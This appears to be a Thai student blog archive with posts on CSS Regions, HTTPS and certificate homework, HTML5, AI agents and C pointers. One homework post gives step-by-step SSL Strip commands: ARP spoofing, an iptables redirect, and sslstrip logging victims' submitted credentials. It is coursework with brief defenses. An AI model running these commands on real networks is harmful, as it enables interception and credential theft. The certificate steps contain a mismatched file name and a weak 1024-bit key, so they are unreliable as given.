CSS regions - named flow and region chain

           [บทความก่อนหน้า css regions คืออะไร]
           การสร้าง layout ที่สลับซับซ้อนขึ้น มีความจำเป็นที่ต้องให้เนื้อหานั้น ไหลไปตามตามพื้นที่ที่กำหนดจากพื้นที่หนึ่ง ไปยังอีกพื้นที่หนึ่ง โดยไม่มีข้อจำกัดในเรื่องขนาดและตำแหน่ง พื้นที่ดังกล่าวนั้นเราจะถือว่าเป็นเป้าหมายในการไหลของเนื้อหาของเอกสารเรา เราจะเรียกการไหลนี้ว่า named flow
             แต่ละ named flow นี้จะสามารถทำให้เขื่อมโยงกับเซตของพื้นที่ (set of regions) เราจะเรียกพื้นที่เหล่านี้ว่า region chain โดย elements ภายใน box ที่กำหนดเป็น named flow การแสดงผลปกติจะถูกนำออก และ แสดงผลใน CSS regions แทน

            

 

 

CSS regions -- intro

สวัสดีครับ วันนี้ก็มานั่งอัพเดทบล็อคกันสะหน่อย วันนี้ผมจะพูดถึง คุณลักษณะหนึ่ง ใน CSS level3 นั่นคือ Regions เป็นคุณลักษณะหลักที่ผมใช้ในการทำ special project ตอนปี 4

ปัจจุบัน (ณ วันที่ 21/02/2556) คุณลักษณะดังกล่าวยังเป็นแค่รุ่นทดลอง (experimental)[1]

CSS regions นั้นเป็นคุณลักษณะที่ทำให้เนื้อหา (content) ของหน้าเว็บเพจเรา สามารถไหลไปตามพื้นที่ (regions) ที่เรากำหนดไว้ได้ โดยกลไกการไหลนี้ จะทำให้เอกสารของเรามีลักษณะเป็น Reflowable document ได้นั่นเอง

เอกสารที่เป็น reflowable นั้น คือเอกสารที่สามารถไหลหรือปรับเนื้อหาไปตามการเปลี่ยนแปลงของพื้นที่ๆ เปลี่ยนไปได้

[พื้นที่ดังกล่าวอาจจะหมายถึง containing elements ใน HTML]

ตัวอย่างของสิ่งที่เป็น reflowable document เช่น หนังสือ, text book, แมกกาซีน บนเว็บ (web-based) ที่มีลักษณะเป็นพลวัตร (dynamic) กล่าวคือ เนื้อหาสามารถไหล (flow) ไปยังพื้นที่ ๆกำหนด แม้ว่าจะเกิดการเปลี่ยนแปลง ใดๆกับพื้นที่นั่น เช่น การเปลี่ยนขนาดของหน้าเพจ เป็นต้น

[บทความถัดไป รู้จักกับ named flow และ region chain]

HOMEWORK 1-4 CS449

Homework 1

ที่เว็ป broswer แสดงผลไม่เหมือนกันเนื่องจาก เว็บ browser บางอันแสดงเฉพาะ public key เท่านั้นในขณะที่อันอื่นแสดง parameter และ Exponent bit ด้วย

• วิธีการที่ทำให้สามารถดู public key ที่เหมือนกันทำได้โดยการ export ไฟล์ certificate ออกมาก่อน แล้วอาจจะใช้ โปรแกรมอ่าน ไฟล์ certificate เดียวกันก็จะเห็น public key ที่เหมือนกัน

ภาพแสดง public key captured from different browsers

click to see the source file

Homework 2: HTTPS installation and Certificate creation

URL วีดีโอแสดงการอธิบายประกอบ Link:http://youtu.be/kVStS55va9c
link สำรอง

1. ติดตั้ง HTTP server บน ระบบปฎิบัติการ ในที่นี้ใช้ apache2 (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง HTTP server เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง) โดยใช้คำสั่ง

   sudo apt-get install apache2

2. ติดตั้ง Open SSL (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง OPENSSL เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง)

   sudo apt-get install openssl

3. Enable the mod_ssl โดยใช้คำสั่ง

   sudo a2enmod ssl

   Note: The mod_ssl module adds an important feature to the Apache2 server - the ability to encrypt communications. Thus, when your browser is communicating using SSL, the https:// prefix is used at the beginning of the Uniform Resource Locator (URL) in the browser navigation bar.

4. Generate a Certificate
   • สร้าง Keys โดยใช้คำสั่ง

     openssl genrsa -out server.key 1024

     (The output file will be used to create CSR)

   • Create the CSR (Certificate Signing Request)

     openssl req -new -key server.key -out server.crt

     (ในขั้นนี้ file ที่เป็นผลลัพธ์ จะใช้ในการสร้าง self-signed certificate)

5. Create a Self-Signed Certificate โดยใช้คำสั่งต่อไปนี้

   openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

   (ผลลัพธ์ของออกคำสั่งนี้คือไฟล์ server.crt ซึ่งเราจะใช้ CA นี้ในการ ติดตั้ง https ให้กับ http server ต่อไป)

Homework 3: SSL session with certificate

ข้อมูลใน Certificate ที่ใช้ Wireshark ดักดูตอนที่ Web server ส่งมาให้ Web browser ควรจะต้องตรงกันกับ Certificate ที่ Web browser แสดง ตามที่อธิบายใน วิดีโอ

URL วิดีโอประกอบการอธิบายhttp://youtu.be/34GtW_vEDXE

รายละเอียดของ Certificate

1. Version: The X.509 version number คือ เลขที่ใช้แสดง version ของ certificate (ในวิดีโอเป็น Version 3)
2. Serial Number คือ เลขลำดับของ certificate ที่จะไม่ซ้ำกันเลย(Unique) ซึ่ง CA จะเป็นผู้ที่ Assign ใช้
3. Signature Algoritm: เป็น hash algorithm ที่ CA ทำ digital sign ให้กับ Certificate
4. Issuer: เป็นรายละเอียดเกี่ยวกับ CA ที่ออกใบ Certificate ให้
5. Validity from: เป็นรายละเอียดเกี่ยวกับช่วงเวลาที่ certificate นี้ valid
6. Subject: ข้อมูลเกี่ยวกับ ผู้ร้องขอใช้ certificate (ในวิดีโอคือ hotmail.com)
7. public key info: ข้อมูลรายละเอียดเกี่ยวกับ public key ของ certificate นี้ เช่น ตัวคีย์ หรือ ค่าพารามิเตอร์ เกี่ยวกับ Algorithm ต่างๆที่ใช้

Homework 4: SSL Strip

URL วิดีโออธิบายประกอบ Link: http://youtu.be/f57urqx4KxI

ขั้นตอนการออกคำสั่ง

• เปลี่ยนให้เครื่องของ Hacker เป็น forwarding mode เพื่อให้ Packet ใดก็ตามที่เข้ามาที่เครื่อง Hacker Forward ไปที่ Gateway จุดประสงค์นี้ทำเพื่อให้ เหยื่อ(victtim) ยังสามารถใช้งาน the Internet ได้อย่างปกติ โดยใช้คำสั่ง

  echo 1 > /proc/sys/net/ipv4/ip_forward

  
  
• ตั้งค่า iptables เพื่อให้ redirect HTTP ไปยัง port ที่ sslstrip ทำงานอยู่ โดยใช้คำสั่ง

  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>

• Run สคริป sslStrip โดย ผลลัพธ์ที่เหยื่อกรอกจะถูกเก็บไว้ในไฟล์ result โดยใช้คำสั่ง

  python sslstrip.py -l -w result

• Run arpspoof เพื่อทำให้ ส่งข้อมูลมาที่เครื่องเราก่อนที่จะส่งไปยัง Default gateway หลักการทำงานคือ จะไปเปลี่ยนค่า MAC address ของ gateway ให้เป็น MAC address ของเครื่อง Hacker แทน

  arpspoof -i <interface> -t < targetIP> <gatewayIP>

วิธีการป้องกัน

• ตรวจสอบว่า web-site ที่กำลังเข้าอยู่นั้นมีการเข้ารหัส ด้วย certificate ที่ถูกต้องหรือเปล่า
• ใช้ network ที่เป็นส่วนตัว เช่นที่ บ้าน เป็นต้น

พิจารณา public key

พิจารณา public key

HTML5 Introduction

HTML5 Introduction

      เป็นมาตรฐานใหม่สำหรับ HTML ในขณะนี้(30 Jul 2012) HTML5 ยังคงอยู่ระหว่างดำเนินการ อย่างไรก็ดี Web browsers ส่วนใหญ่ก็สามารถสนับสนุน Features บางประการของ HTML5 ได้
     

HTML5 เริ่มต้นมาได้อย่างไร

      HTML5 เป็นการร่วมมือกันระหว่าง W3C กับ WHATWG(Web Hypertext Application Technology Working Group) โดย WHATWG ดำเนินการเกี่ยวกับ Web forms และ Applications ในขณะที่ W3C ดำเนินการเกี่ยวกับ XHTML และในปี 2006 ทั้งคู่ก็ได้ตัดสินใจร่วมมือและสร้างเวอร์ชันใหม่ของ HTML5 ขึ้นมา

ระเบียบ(rules) บางประการถูกนำมาใช้ใน HTML5

• Features ใหม่ๆ ควรจะมีโครงร่างของ HTML, CSS, DOM, JavaScript
• ลดการใช้ Plug-in ภายนอก เช่น Flash เป็นต้น
• มีการจัดการข้อผิดพลาด (error handling)
• มีการใช้ make up เพื่อแทน scripting มากขึ้น
• HTML5 ไม่ควรขึ้นกับอุปกรณ์ (Device independent)
• สิ่งต่างๆเกี่ยวกับการพัฒนา (development process) ไม่ควรเปิดเผยเป็นสาธารณะ

Minimum HTML5 document

______________________________________

<!DOCTYPE html>
<html>
<head>
      <title>Title of the document</title>
</head>

<body>
      The content of the document......
</body>
</html>

______________________________________

คุณลักษณะใหม่ที่น่าสนใจสำหรับ HTML5

• <canvas> สำหรับวาดภาพ 2 มิติ
• <video> และ <audio> elements สำหรับการเล่นสื่อ media
• สนับสนุนการทำ Storage สำหรับฝั่ง Client
• elements สำหรับ content เช่น <article>, <footer>, <header>, <nav>, <section>
• new forms controls เช่น ปฎิทิน วันที่ เวลา email url และการค้นหา(search)

Translated from: http://www.w3schools.com/html5/html5_intro.asp

[Artificial Intelligent(AI)-02] Intelligent Agents

เอเจนต์(Agent) หมายถึง

           อะไรก็ได้ ที่สามารถรับรู้(Percept) ถึง สภาวะแวดล้อม(Environment) รอบๆตัวมันได้โดยผ่าน ตัวรับรู้(Sensor) และสามารถแสดงการกระทำ(Action) ที่เกิดจากการรัยรู้นั้นๆ โดยผ่านตัวแสดงการกระทำ(Actuator) เช่น

Agent ที่เป็นมนุษย์
      Sensor คือ ตา หู จมูก ปาก ผิวหนัง ลิ้น
      Actuator คือ แขน ขา ปาก .. อื่นๆ

Agent ที่เป็นหุ่นยนต์
      Sensor คือ กล้อง ไมโครโฟน ตัวรับกลิ่น กล้องเทอร์มอล(กล้องจับความร้อน)
      Actuator คือ มอเตอร์ ข้อต่อต่างๆ .. อื่นๆ

เราไม่ได้เน้น Agent ที่ทำเหมือนมนุษย์มากที่สุด แต่เน้น Agent ที่ทำดีที่สุด
__________________________

Agent and Environment

_________________________

เอเจนต์ที่มีเหตุผล(Rational Agents)

คือ เอเจนต์ ที่แสดงการกระทำได้ถูกต้อง เมื่อได้รับรู้ข้อมูลของสิ่งแวดล้อม

การจะบอกว่า เอเจนต์นั้น ประสบความสำเร็จหรือไม่นั้น เราต้องออกแบบเอเจนต์ โดยวิเคราห์ส่วนต่างๆดังนี้ (PEAS)

  P = Performance measure ตัวบ่งชี้ว่าจะวัดประสิทธิภาพ (ทำอย่างไรถึงดี)

  E = Environment สภาพแวดล้อม ณ ขณะนั้น

  A = Actuator  ตัวกระทำ ณ ขณะนั้น ว่าแสดงออกอย่างไร

  S = Sensor ตัวรับรู้ ณ ขณะนั้นว่าเป็นแบบใด

เรียกรวมๆกันว่า PEAS

เมื่อ เอเจนต์ที่มีเหตุผล ได้รับ  ชุดข้อมูบจากการรับรู้ (Percept Sequence) เข้ามา เอเจนต์ที่มีเหตุผลจะต้องเลือกการกระทำ (Action) ที่คาดว่า จะให้ค่าของประสิทธิภาพ(Performance Measure) มากที่สุด โดยใช้ Knowledge Base ที่มีอยู่ เป็นข้อมูลในการพิจารณา

เอเจนต์ จะเป็นแบบ Automonous เมื่อพฤติกรรมของมันสามารถตัดสินใจได้เองโดยใช้ประสบการณ์ที่เรียนรู้มา (สามารถเรียนรู้และปรับตัวได้)

Rational Agent จะแก้ไขสภาพแวดล้อมที่กำหนด และเรียนรู้แบบ Autonomous ได้ในบางเวลา

_____________________________

PEAS จะต้องถูกออกแบบก่อนเสมอ เมื่อเราจะออกแบบ Intelligent agents

ตัวอย่าง

Agent สำหรับขับรถแทกซี่อัตโนมัติ

1. Performance Measure:

    ปลอดภัย(Safe)

    รวดเร็ว(Fast)

    ขับถูกกฏจราจร(Legal)

    เดินทางสบาย(Comfortable trip)

    ให้ผลกำไรสูงสุด(Maximum benefit)

2. Environment: สภาพถนน, สภาพจราจร, คนเดินบนถนน, ลูกค้า

3. Actuator: พวงมาลัย, คันเร่ง, แบรก, สัญญาณไฟ, แตร

4. Sensor: กล้อง, ตัวรับคลื่นเสียง(Sonar), หน้าปัดความเร็ว(Speedometer), เครื่องวัดระยะทาง(odometer), engine sensors, keyboard

______________________________

ประเภทของสิ่งแวดล้อม

     Fully Observable  - เหมือนกับมองอยู่ Top view เห็นสภาพแวดล้อมได้ทั้งหมด ตรงข้ามกับ Partially observable ที่จะรู้เมื่อเดินไปถึงก่อน เหมือนมองในแนวราบ

     Deterministic - เมื่ออยู่ตำแหน่งใดๆ เอเจนต์สามารถทำนายได้ว่า ลำดับต่อไปจะเจอกับอะไร และต้องแสดงการกระทำอะไร ถ้าในทางตรงกันข้าม จะเรียกว่าเป็น Stochastic

     Episodic - คือการที่ลำดับของการรับรู้ของเอเจนต์ถูกแบ่งออกเป็นส่วนๆ แต่ถ้าลำดับต่อเนื่องกันเราจะเรียกว่า Sequential

     Static - คือการที่สภาพแวดล้อมคงทีตลอดเวลา แต่ถ้าสภาพแวดล้อมเปลี่ยนแปลงได้ตลอดเวลาเราจะเรียกว่า Dynamic

     Discrete - คือการเอเจนต์สามารถเดินทางในสภาพแบบเป็นขั้นตอนได้ ทางตรงข้ามเรียกว่า continuous

     Single Agent - ในสภาพแวดล้อมเดียวมี เอเจนต์ได้กี่ตัว ถ้าหลายตัวเรียก Multiagent

______________________________

Behavior คือ พฤติกรรมที่ Agent แสดงเมื่อมีการรับรู้

การออกแบบ Agent = architecture + program

______________________________

ประเภทของเอเจนต์

1. Simple reflex agents

2. Model-based reflex agents

3. Goal-based agents

4. Utility-based agents

_

5. learning agents

Array และ Pointer

สวัสดีครับ วันนี้ผมจะเขียนเรือง แนวคิดเกี่ยวกับ Array และ Pointer ครับ

         เนื่องจากมีหลายๆคนสงสัย และมองว่ามันยาก ในการจัดการเกี่ยวกับ Array แล้วก็งงกับ มันไปเกี่ยวอะไรกับ Pointer อีก

คำถามแรกต้องถามก่อนว่า เรามี Array ไว้ทำอะไร
          Array มองง่ายๆ ก็คือเป็นกลุ่มของข้อมูลชนิดเดียวกัน หรือก็คือเป็นกลุ่มของตัวแปรที่มีชนิดเดียวกันนั้นเอง มีเอาไว้เก็บข้อมูลเหมือนตัวแปรนั้นแหละครับ เช่น เราบอกว่าเราต้องการเก็บคะแนนของนักเรียนทั้งหมด 40 คนในห้องเรียนนี้ ถ้าเรายังไม่รู้ว่ามี Array อยู่ในโลกเนี่ย เราก็จะต้องประกาศตัวแปรถึง 40 ตัว แต่ถ้าเรารู้แล้ว ก็ประกาศเพียงแค่ Array 1 ตัวเท่านั้น

Pointer and Address
    โดยทั่วไปหน่วยความจำ(Memory)ของคอมพิวเตอร์ นั่นจะเป็นช่อง(ในมุมมองของ logical view)ที่ถูกระบุหมายเลขที่อยู่(Address)เอาไว้เรียงต่อกัน โดยช่องต่างๆเหล่านี้ สามารถถูกนำมาใช้อย่างเดี่ยวๆ หรือ นำมาใช้อย่างเป็นกลุ่มๆ ก็ได้ เช่น ชนิดตัวแปรอักขระ(char) สามารถแทนได้ด้วย Memory cell 1 ไบท์, ชนิดตัวแปรสั้น(short) สามารถแทนได้ด้วย Memory cell จำนวน 2 ไบท์(a pair of one-byte cell) หรือ Memory cells จำนวน 4 ไบท์ ติดกันใช้แทนชนิดข้อมูล Integer หรือ long 
    Pointer คือ กลุ่มของ Memory cells ที่ใช้เก็บ Address
    ถ้าให้ ตัวแปร c เป็น char และ ตัวแปร p เป็น Pointer ที่ชี้มายัง c แล้วเราสามารถแทนเหตุการณ์แบบนี้ด้วยรูปภาพด้านล่าง

& เป็น Unary Operator ที่ใช้ในการดึง Address ของวัตถุหนึ่ง ดังนั้น code ที่ใช้แทนเหตุการณ์ด้านบนคือ

p = &c; // assigns the address of c to the variable p ,and p is said point to c

*คือ indirection หรือ dereferencing operator เมื่อ apply operator นี้กับ pointer นั่นคือ การเข้าถึงวัตถุภายในหน่วยความจำที่ Pointer ตัวที่ถูก Apply * ชี้อยู่

การประกาศ pointer จำเป็นต้องระบุ ชนิดข้อมูลที่ pointer นี้สามารถชี้ไปได้

       pointer สามารถใช้ไปยังชนิดข้อมูลที่เฉพาะเจาะจงได้เท่านั้น แต่มีอยู่ type หนึ่งคือ เมื่อประกาศ pointer ว่าให้ชี้ไปยังชนิด "void" แล้ว pointer ตัวนั้นจะสามารถชี้ไปยังทุก ชนิดข้อมูลได้ แต่ pointer ตัวนั้นจะไม่สามารถถูกทำการ dereference ได้